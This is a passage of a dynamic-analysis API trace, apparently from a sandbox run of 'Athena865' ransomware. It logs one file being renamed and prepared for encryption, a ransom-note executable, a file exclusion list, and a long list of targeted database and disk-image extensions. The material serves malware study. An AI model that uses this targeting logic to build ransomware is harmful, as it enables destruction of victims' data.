[0116.029] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll.athena865"), dwFlags=0x1) returned 1 [0116.030] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0116.030] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=159104) returned 1 [0116.030] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.030] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.030] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519c40 [0116.030] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.031] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.031] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.031] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x27080, lpName=0x0) returned 0x17c [0116.034] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x27080) returned 0x170000 [0116.058] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.059] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.059] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.059] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.059] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.059] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.059] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.059] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.060] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0116.061] CloseHandle (hObject=0x17c) returned 1 [0116.061] CloseHandle (hObject=0x154) returned 1 [0116.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519c40 | out: hHeap=0x4f0000) returned 1 [0116.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.062] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce08e220, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xce08e220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0116.062] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0116.062] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x39580, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IETAG.DLL", cAlternateFileName="")) returned 1 [0116.062] lstrcmpiW (lpString1="IETAG.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.062] lstrcmpiW (lpString1="IETAG.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.062] lstrcmpiW (lpString1="IETAG.DLL", lpString2=".") returned 1 [0116.062] lstrcmpiW (lpString1="IETAG.DLL", lpString2="..") returned 1 [0116.062] lstrcmpiW (lpString1="IETAG.DLL", lpString2="windows") returned -1 [0116.062] lstrcmpiW (lpString1="IETAG.DLL", lpString2="bootmgr") returned 1 [0116.062] lstrcmpiW (lpString1="IETAG.DLL", lpString2="temp") returned -1 [0116.062] lstrcmpiW (lpString1="IETAG.DLL", lpString2="pagefile.sys") returned -1 [0116.062] lstrcmpiW (lpString1="IETAG.DLL", lpString2="boot") returned 1 [0116.062] lstrcmpiW (lpString1="IETAG.DLL", lpString2="ids.txt") returned 1 [0116.062] lstrcmpiW (lpString1="IETAG.DLL", lpString2="ntuser.dat") returned -1 [0116.062] lstrcmpiW (lpString1="IETAG.DLL", lpString2="perflogs") returned -1 [0116.062] lstrcmpiW (lpString1="IETAG.DLL", lpString2="MSBuild") returned -1 [0116.062] lstrlenW (lpString="IETAG.DLL") returned 9 [0116.062] lstrcpyW (in: lpString1=0x241e8ba, lpString2="IETAG.DLL" | out: lpString1="IETAG.DLL") returned="IETAG.DLL" [0116.062] lstrlenW (lpString="IETAG.DLL") returned 9 [0116.063] lstrlenW (lpString="Athena865") returned 9 [0116.063] lstrlenW (lpString=".dll") returned 4 [0116.063] lstrcmpiW (lpString1="IETAG.DLL", lpString2=".dll") returned 1 [0116.063] lstrlenW (lpString=".lnk") returned 4 [0116.063] lstrcmpiW (lpString1="IETAG.DLL", lpString2=".lnk") returned 1 [0116.063] lstrlenW (lpString=".ini") returned 4 [0116.063] lstrcmpiW (lpString1="IETAG.DLL", lpString2=".ini") returned 1 [0116.063] lstrlenW (lpString=".sys") returned 4 [0116.063] lstrcmpiW (lpString1="IETAG.DLL", lpString2=".sys") returned 1 [0116.063] lstrlenW (lpString="IETAG.DLL") returned 9 [0116.063] lstrlenW (lpString="bak") returned 3 [0116.063] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0116.063] lstrlenW (lpString="ba_") returned 3 [0116.063] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0116.063] lstrlenW (lpString="dbb") returned 3 [0116.063] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0116.063] lstrlenW (lpString="vmdk") returned 4 [0116.063] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0116.063] lstrlenW (lpString="rar") returned 3 [0116.063] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0116.063] lstrlenW (lpString="zip") returned 3 [0116.063] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0116.063] lstrlenW (lpString="tgz") returned 3 [0116.063] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0116.063] lstrlenW (lpString="vbox") returned 4 [0116.063] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0116.063] lstrlenW (lpString="vdi") returned 3 [0116.063] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0116.063] lstrlenW (lpString="vhd") returned 3 [0116.063] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0116.063] lstrlenW (lpString="vhdx") returned 4 [0116.063] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0116.064] lstrlenW (lpString="avhd") returned 4 [0116.064] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0116.064] lstrlenW (lpString="db") returned 2 [0116.064] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0116.064] lstrlenW (lpString="db2") returned 3 [0116.064] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0116.064] lstrlenW (lpString="db3") returned 3 [0116.064] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0116.064] lstrlenW (lpString="dbf") returned 3 [0116.064] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0116.064] lstrlenW (lpString="mdf") returned 3 [0116.064] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0116.064] lstrlenW (lpString="mdb") returned 3 [0116.064] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0116.064] lstrlenW (lpString="sql") returned 3 [0116.064] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0116.064] lstrlenW (lpString="sqlite") returned 6 [0116.064] lstrcmpiW (lpString1="AG.DLL", lpString2="sqlite") returned -1 [0116.064] lstrlenW (lpString="sqlite3") returned 7 [0116.064] lstrcmpiW (lpString1="TAG.DLL", lpString2="sqlite3") returned 1 [0116.064] lstrlenW (lpString="sqlitedb") returned 8 [0116.064] lstrcmpiW (lpString1="ETAG.DLL", lpString2="sqlitedb") returned -1 [0116.064] lstrlenW (lpString="xml") returned 3 [0116.064] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0116.064] lstrlenW (lpString="$er") returned 3 [0116.064] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0116.064] lstrlenW (lpString="4dd") returned 3 [0116.064] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0116.064] lstrlenW (lpString="4dl") returned 3 [0116.064] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0116.064] lstrlenW (lpString="^^^") returned 3 [0116.065] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0116.065] lstrlenW (lpString="abs") returned 3 [0116.065] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0116.065] lstrlenW (lpString="abx") returned 3 [0116.065] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0116.065] lstrlenW (lpString="accdb") returned 5 [0116.065] lstrcmpiW (lpString1="G.DLL", lpString2="accdb") returned 1 [0116.065] lstrlenW (lpString="accdc") returned 5 [0116.065] lstrcmpiW (lpString1="G.DLL", lpString2="accdc") returned 1 [0116.065] lstrlenW (lpString="accde") returned 5 [0116.065] lstrcmpiW (lpString1="G.DLL", lpString2="accde") returned 1 [0116.065] lstrlenW (lpString="accdr") returned 5 [0116.065] lstrcmpiW (lpString1="G.DLL", lpString2="accdr") returned 1 [0116.065] lstrlenW (lpString="accdt") returned 5 [0116.065] lstrcmpiW (lpString1="G.DLL", lpString2="accdt") returned 1 [0116.065] lstrlenW (lpString="accdw") returned 5 [0116.065] lstrcmpiW (lpString1="G.DLL", lpString2="accdw") returned 1 [0116.065] lstrlenW (lpString="accft") returned 5 [0116.065] lstrcmpiW (lpString1="G.DLL", lpString2="accft") returned 1 [0116.065] lstrlenW (lpString="adb") returned 3 [0116.065] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0116.065] lstrlenW (lpString="adb") returned 3 [0116.065] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0116.065] lstrlenW (lpString="ade") returned 3 [0116.065] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0116.065] lstrlenW (lpString="adf") returned 3 [0116.065] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0116.065] lstrlenW (lpString="adn") returned 3 [0116.065] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0116.065] lstrlenW (lpString="adp") returned 3 [0116.066] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0116.066] lstrlenW (lpString="alf") returned 3 [0116.066] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0116.066] lstrlenW (lpString="ask") returned 3 [0116.066] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0116.066] lstrlenW (lpString="btr") returned 3 [0116.066] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0116.066] lstrlenW (lpString="cat") returned 3 [0116.066] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0116.066] lstrlenW (lpString="cdb") returned 3 [0116.066] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0116.066] lstrlenW (lpString="ckp") returned 3 [0116.066] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0116.066] lstrlenW (lpString="cma") returned 3 [0116.066] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0116.066] lstrlenW (lpString="cpd") returned 3 [0116.066] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0116.066] lstrlenW (lpString="dacpac") returned 6 [0116.066] lstrcmpiW (lpString1="AG.DLL", lpString2="dacpac") returned -1 [0116.066] lstrlenW (lpString="dad") returned 3 [0116.066] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0116.066] lstrlenW (lpString="dadiagrams") returned 10 [0116.066] lstrlenW (lpString="daschema") returned 8 [0116.066] lstrcmpiW (lpString1="ETAG.DLL", lpString2="daschema") returned 1 [0116.066] lstrlenW (lpString="db-journal") returned 10 [0116.066] lstrlenW (lpString="db-shm") returned 6 [0116.066] lstrcmpiW (lpString1="AG.DLL", lpString2="db-shm") returned -1 [0116.066] lstrlenW (lpString="db-wal") returned 6 [0116.067] lstrcmpiW (lpString1="AG.DLL", lpString2="db-wal") returned -1 [0116.067] lstrlenW (lpString="dbc") returned 3 [0116.067] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0116.067] lstrlenW (lpString="dbs") returned 3 [0116.067] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0116.067] lstrlenW (lpString="dbt") returned 3 [0116.067] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0116.067] lstrlenW (lpString="dbv") returned 3 [0116.067] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0116.067] lstrlenW (lpString="dbx") returned 3 [0116.067] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0116.067] lstrlenW (lpString="dcb") returned 3 [0116.067] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0116.067] lstrlenW (lpString="dct") returned 3 [0116.067] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0116.067] lstrlenW (lpString="dcx") returned 3 [0116.067] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0116.067] lstrlenW (lpString="ddl") returned 3 [0116.067] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0116.067] lstrlenW (lpString="dlis") returned 4 [0116.067] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0116.067] lstrlenW (lpString="dp1") returned 3 [0116.067] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0116.067] lstrlenW (lpString="dqy") returned 3 [0116.067] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0116.067] lstrlenW (lpString="dsk") returned 3 [0116.067] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0116.067] lstrlenW (lpString="dsn") returned 3 [0116.067] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0116.068] lstrlenW (lpString="dtsx") returned 4 [0116.068] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0116.068] lstrlenW (lpString="dxl") returned 3 [0116.068] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0116.068] lstrlenW (lpString="eco") returned 3 [0116.068] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0116.068] lstrlenW (lpString="ecx") returned 3 [0116.068] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0116.068] lstrlenW (lpString="edb") returned 3 [0116.068] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0116.068] lstrlenW (lpString="epim") returned 4 [0116.068] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0116.068] lstrlenW (lpString="fcd") returned 3 [0116.068] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0116.068] lstrlenW (lpString="fdb") returned 3 [0116.068] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0116.068] lstrlenW (lpString="fic") returned 3 [0116.068] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0116.068] lstrlenW (lpString="flexolibrary") returned 12 [0116.068] lstrlenW (lpString="fm5") returned 3 [0116.068] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0116.068] lstrlenW (lpString="fmp") returned 3 [0116.068] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0116.068] lstrlenW (lpString="fmp12") returned 5 [0116.068] lstrcmpiW (lpString1="G.DLL", lpString2="fmp12") returned 1 [0116.068] lstrlenW (lpString="fmpsl") returned 5 [0116.068] lstrcmpiW (lpString1="G.DLL", lpString2="fmpsl") returned 1 [0116.068] lstrlenW (lpString="fol") returned 3 [0116.068] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0116.069] lstrlenW (lpString="fp3") returned 3 [0116.069] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0116.069] lstrlenW (lpString="fp4") returned 3 [0116.069] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0116.069] lstrlenW (lpString="fp5") returned 3 [0116.069] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0116.069] lstrlenW (lpString="fp7") returned 3 [0116.069] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0116.069] lstrlenW (lpString="fpt") returned 3 [0116.069] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0116.069] lstrlenW (lpString="frm") returned 3 [0116.069] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0116.069] lstrlenW (lpString="gdb") returned 3 [0116.069] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0116.069] lstrlenW (lpString="gdb") returned 3 [0116.069] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0116.069] lstrlenW (lpString="grdb") returned 4 [0116.069] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0116.069] lstrlenW (lpString="gwi") returned 3 [0116.069] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0116.069] lstrlenW (lpString="hdb") returned 3 [0116.069] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0116.069] lstrlenW (lpString="his") returned 3 [0116.069] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0116.069] lstrlenW (lpString="ib") returned 2 [0116.069] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0116.069] lstrlenW (lpString="idb") returned 3 [0116.069] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0116.069] lstrlenW (lpString="ihx") returned 3 [0116.069] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0116.069] lstrlenW (lpString="itdb") returned 4 [0116.069] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0116.070] lstrlenW (lpString="itw") returned 3 [0116.070] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0116.070] lstrlenW (lpString="jet") returned 3 [0116.070] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0116.070] lstrlenW (lpString="jtx") returned 3 [0116.070] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0116.070] lstrlenW (lpString="kdb") returned 3 [0116.070] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0116.070] lstrlenW (lpString="kexi") returned 4 [0116.070] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0116.070] lstrlenW (lpString="kexic") returned 5 [0116.070] lstrcmpiW (lpString1="G.DLL", lpString2="kexic") returned -1 [0116.070] lstrlenW (lpString="kexis") returned 5 [0116.070] lstrcmpiW (lpString1="G.DLL", lpString2="kexis") returned -1 [0116.070] lstrlenW (lpString="lgc") returned 3 [0116.070] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0116.070] lstrlenW (lpString="lwx") returned 3 [0116.070] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0116.070] lstrlenW (lpString="maf") returned 3 [0116.070] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0116.070] lstrlenW (lpString="maq") returned 3 [0116.070] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0116.070] lstrlenW (lpString="mar") returned 3 [0116.070] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0116.070] lstrlenW (lpString="marshal") returned 7 [0116.070] lstrcmpiW (lpString1="TAG.DLL", lpString2="marshal") returned 1 [0116.070] lstrlenW (lpString="mas") returned 3 [0116.070] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0116.070] lstrlenW (lpString="mav") returned 3 [0116.070] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0116.070] lstrlenW (lpString="maw") returned 3 [0116.071] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0116.071] lstrlenW (lpString="mdbhtml") returned 7 [0116.071] lstrcmpiW (lpString1="TAG.DLL", lpString2="mdbhtml") returned 1 [0116.071] lstrlenW (lpString="mdn") returned 3 [0116.071] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0116.071] lstrlenW (lpString="mdt") returned 3 [0116.071] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0116.071] lstrlenW (lpString="mfd") returned 3 [0116.071] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0116.071] lstrlenW (lpString="mpd") returned 3 [0116.071] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0116.071] lstrlenW (lpString="mrg") returned 3 [0116.071] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0116.071] lstrlenW (lpString="mud") returned 3 [0116.071] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0116.071] lstrlenW (lpString="mwb") returned 3 [0116.071] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0116.071] lstrlenW (lpString="myd") returned 3 [0116.071] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0116.071] lstrlenW (lpString="ndf") returned 3 [0116.071] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0116.071] lstrlenW (lpString="nnt") returned 3 [0116.071] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0116.071] lstrlenW (lpString="nrmlib") returned 6 [0116.071] lstrcmpiW (lpString1="AG.DLL", lpString2="nrmlib") returned -1 [0116.071] lstrlenW (lpString="ns2") returned 3 [0116.071] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0116.071] lstrlenW (lpString="ns3") returned 3 [0116.071] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0116.071] lstrlenW (lpString="ns4") returned 3 [0116.071] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0116.071] lstrlenW (lpString="nsf") returned 3 [0116.072] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0116.072] lstrlenW (lpString="nv") returned 2 [0116.072] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0116.072] lstrlenW (lpString="nv2") returned 3 [0116.072] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0116.072] lstrlenW (lpString="nwdb") returned 4 [0116.072] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0116.072] lstrlenW (lpString="nyf") returned 3 [0116.072] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0116.072] lstrlenW (lpString="odb") returned 3 [0116.072] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0116.072] lstrlenW (lpString="odb") returned 3 [0116.072] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0116.072] lstrlenW (lpString="oqy") returned 3 [0116.072] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0116.072] lstrlenW (lpString="ora") returned 3 [0116.072] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0116.072] lstrlenW (lpString="orx") returned 3 [0116.072] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0116.072] lstrlenW (lpString="owc") returned 3 [0116.072] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0116.072] lstrlenW (lpString="p96") returned 3 [0116.072] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0116.072] lstrlenW (lpString="p97") returned 3 [0116.072] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0116.072] lstrlenW (lpString="pan") returned 3 [0116.072] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0116.072] lstrlenW (lpString="pdb") returned 3 [0116.072] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0116.072] lstrlenW (lpString="pdm") returned 3 [0116.072] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0116.072] lstrlenW (lpString="pnz") returned 3 [0116.073] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0116.073] lstrlenW (lpString="qry") returned 3 [0116.073] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0116.073] lstrlenW (lpString="qvd") returned 3 [0116.073] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0116.073] lstrlenW (lpString="rbf") returned 3 [0116.073] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0116.073] lstrlenW (lpString="rctd") returned 4 [0116.073] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0116.073] lstrlenW (lpString="rod") returned 3 [0116.073] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0116.073] lstrlenW (lpString="rodx") returned 4 [0116.073] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0116.073] lstrlenW (lpString="rpd") returned 3 [0116.073] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0116.073] lstrlenW (lpString="rsd") returned 3 [0116.073] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0116.073] lstrlenW (lpString="sas7bdat") returned 8 [0116.073] lstrcmpiW (lpString1="ETAG.DLL", lpString2="sas7bdat") returned -1 [0116.073] lstrlenW (lpString="sbf") returned 3 [0116.073] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0116.073] lstrlenW (lpString="scx") returned 3 [0116.073] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0116.073] lstrlenW (lpString="sdb") returned 3 [0116.073] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0116.073] lstrlenW (lpString="sdc") returned 3 [0116.073] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0116.073] lstrlenW (lpString="sdf") returned 3 [0116.073] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0116.073] lstrlenW (lpString="sis") returned 3 [0116.073] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0116.073] lstrlenW (lpString="spq") returned 3 [0116.074] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0116.074] lstrlenW (lpString="te") returned 2 [0116.074] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0116.074] lstrlenW (lpString="teacher") returned 7 [0116.074] lstrcmpiW (lpString1="TAG.DLL", lpString2="teacher") returned -1 [0116.074] lstrlenW (lpString="tmd") returned 3 [0116.074] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0116.074] lstrlenW (lpString="tps") returned 3 [0116.074] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0116.074] lstrlenW (lpString="trc") returned 3 [0116.074] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0116.074] lstrlenW (lpString="trc") returned 3 [0116.074] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0116.074] lstrlenW (lpString="trm") returned 3 [0116.074] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0116.074] lstrlenW (lpString="udb") returned 3 [0116.074] lstrcmpiW (lpString1="DLL", 